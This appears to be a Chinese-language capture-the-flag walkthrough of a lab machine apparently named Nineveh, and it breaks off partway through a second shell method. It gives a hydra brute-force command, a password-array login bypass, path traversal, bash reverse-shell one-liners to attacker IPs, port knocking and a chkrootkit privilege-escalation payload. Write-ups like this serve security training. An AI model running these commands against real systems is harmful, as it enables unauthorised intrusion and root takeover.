nmap scan
#### port explore
80:apache正常工作的界面
443:443端口是一张图片
#### 目录扫描
80端口扫到phpinfo,表明fileupload功能处于开启状态
443端口扫到db/index.php,是一个登录界面
#### searchsploit
`searchsploit phpliteadmin`
存在两个sql注入的利用,剩余两个一个版本不符合一个是xss和csrf利用
#### hydra爆破密码
`hydra 10.10.10.43 -l abc -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"`
hydra强制要求一个用户名,-P为选择一个密码文件,https-post-form为一个插件,它将下面的字符串以:隔开,/db/index.php是以post方式传递的路径,第二部分是需要以post方式传送的数据,将^PASS^的内容替换为密码字典中的密码,最后的Incorrect password是回复包中表明登录失败的检测语句
爆破出的密码为password123
#### shell reverse
在登录以后,存在一个名为test的数据库,但其中并不存在表
根据`PHPLiteAdmin 1.9.3 - Remote PHP Code Injection`的文件显示,实现rce的方法为先创建一个以.php为后缀的数据库,然后在里面建一张表,插入一条数据为``
可以看到hack.php存储的位置,但是不知道应该如何访问
在80端口还存在一个/department,也是一个登陆界面
在测试后可以知道这个登录接口存在一个admin的用户
这里存在一个以数组方式提交密码的phpbug
在登陆时用burpsuite改包,将password改为password[],发现可以绕过认证实现登录
里面存在一条note信息
因为其url里面的形式为`http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt`
所以我们推测可能存在文件包含漏洞
在尝试过后只有`notes=files/ninevehNotes/../../../../../../etc/passwd`和`/ninevehNotes/../../etc/passwd`会回显
接下来我们可以根据之前存储的位置/var/tmp/hack.php看看能不能实现命令回显
然后将cmd内的命令改为`bash -c 'bash -i >%26 /dev/tcp/10.10.14.5/8888 0>%261'`
成功获得回弹的shell
在/var/www/ssl目录中的secure_notes下有主页上显示的图片,通过`strings nineveh.png`可以发现该图片中隐藏了ssh密钥
将这个保存到本地然后用ssh2john转化成john能破解的格式
但是22端口只在本地开放了
尝试使用knock使22端口开放,配置文件存在于/etc/kncokd.conf
首先进行敲门
`knock 10.10.10.43 571 290 911`
或者使用nmap进行敲门
`nmap -Pn --host-timeout 100 --max-retries 0 -p 571,290,911 10.10.10.34`
使用telnet检验22端口是否开放
成功实现以user身份登录
#### root
在report文件夹中存在一些report.txt,每分钟执行了一次
这些文件是一个叫rootkit的程序产生的
接下来是利用rootkit提权
大致就是在/tmp文件夹中输入转发shell的语句,然后等有root权限的chkrootkit扫过来的时候语句会被执行,这个漏洞给并不需要amrols权限使用www就可以实现
`echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.24/443 0>&1' > update`
预期的行为是设置$file_port为等于"$file_port $i"。但是由于""缺少 ,bash将其视为设置file_port=$file_port然后运行$i
第二种获得shell的方法是通过php的upload功能
首先我们将info.php的传输改为post并在方法体中加上content-type
`
Content-Type: multipart/form-data; boundary=—————————7db268605ae
—————————–7db268605ae
Content-Disposition: form-data; name=”dummyname”; filename=”test.txt” Content-Type: text/plainSecurity
Test
—————————–7db268605ae
`
然后在返回的页面上我们可以看到传送的内容被存储器来了
修改脚本为如下状态